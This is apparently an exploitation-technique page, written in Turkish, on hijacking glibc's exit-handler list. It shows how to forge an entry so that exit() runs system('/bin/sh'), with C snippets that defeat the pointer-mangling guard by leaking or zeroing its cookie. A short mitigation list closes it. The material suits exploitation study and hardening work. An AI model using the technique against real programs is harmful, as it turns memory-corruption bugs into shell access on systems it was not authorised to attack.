__run_exit_handlers abuse¶
glibc'nin exit-handler listesinde bir entry forge et ki
exit()demangle edip system("/bin/sh") çağırsın — kaldırılan malloc/free hook'larının modern alternatifi.
Mechanism¶
Note
exit(), __run_exit_handlers'ı çağırır; bu da __exit_funcs linked list'ini
(başlangıçta statik initial block'una işaret eder) dolaşır ve kayıtlı her
handler'ı çağırır. İlgili struct'lar:
struct exit_function_list {
struct exit_function_list *next;
size_t idx;
struct exit_function fns[32];
};
struct exit_function {
long int flavor; // ef_free=0, ef_cxa=4, ...
union { void (*at)(void);
struct { void (*fn)(int,void*); void *arg; } on;
struct { void (*fn)(void*,int); void *arg; void *dso; } cxa;
} func;
};
Hedef flavor = ef_cxa (4): çağrı cxa.fn(cxa.arg, status) haline gelir.
fn = system, arg = "/bin/sh" ayarla.
Warning
Saklanan fn, PTR_MANGLE ile korunur. Çağırmadan önce glibc şunu yapar:
ror rax, 0x11 ; xor rax, fs:0x30 ; call rax — yani
demangle(p) = ror(p, 0x11) ^ cookie; burada cookie, TCB içinde fs:0x30'da
duran pointer_guard'dır. Geçerli bir entry forge etmek için bu guard'ı
sağlaman gerekir.
Bu modern path'tir: __malloc_hook / __free_hook'a (glibc 2.34'te kaldırıldı)
bağlı değildir, dolayısıyla glibc 2.35–2.39 boyunca çalışır.
Walkthrough¶
Pointer guard'ı sağlamanın iki yolu:
(a) Cookie'yi leak et. fns[0].fn genellikle _dl_fini'yi mangle eder (bilinen
offset). Cookie'yi bilinen plaintext'ten kurtar:
uint64_t cookie = ror(stored_fn_enc, 0x11) ^ (uint64_t)&_dl_fini;
// mangle(p) = rol(p ^ cookie, 0x11)
exit_funcs->fns[0].flavor = 4; // ef_cxa
exit_funcs->fns[0].func.cxa.fn = (void*)mangle(system, cookie);
exit_funcs->fns[0].func.cxa.arg = "/bin/sh";
exit(0); // -> system("/bin/sh")
(b) Cookie'yi sıfırla. fs:0x30'u (__pointer_chk_guard) 0x00 ile overwrite
et. Demangle saf bir rotate'e indirgenir, dolayısıyla XOR olmadan sadece
rol(system, 0x11)'i sakla.
Beklenen davranış: main'den return etmek veya exit() çağırmak __exit_funcs'ı
iter eder, forge edilmiş pointer'ı system'e geri demangle eder ve onu "/bin/sh"
ile çağırır — hiçbir malloc hook'u devrede olmadan bir shell.
Rotate miktarı ve guard konumu
x86-64'te rotate 0x11 (17)'dir ve cookie fs:0x30'da (__pointer_chk_guard)
durur. TLS-dtor listesi (tls_dtor_list, exit handler'lardan önce
__call_tls_dtors() tarafından çalıştırılır) aynı guard gereksinimine sahip
paralel bir hedeftir ve genellikle doğrudan yazması daha kolaydır — bkz.
tls-dtor-list-hijack.
Mitigation¶
- PTR_MANGLE birincil bariyerdir; bir cookie leak'ini veya TCB guard'ına bir yazmayı zorunlu kılar.
- Bazı hardened libc varyantları daha az handler kaydeder veya
__exit_funcs'ı taşır, bu da statikinitial-block varsayımını zorlaştırır. - Yine de libc'ye bir arbitrary write artı bir address leak gerektirir.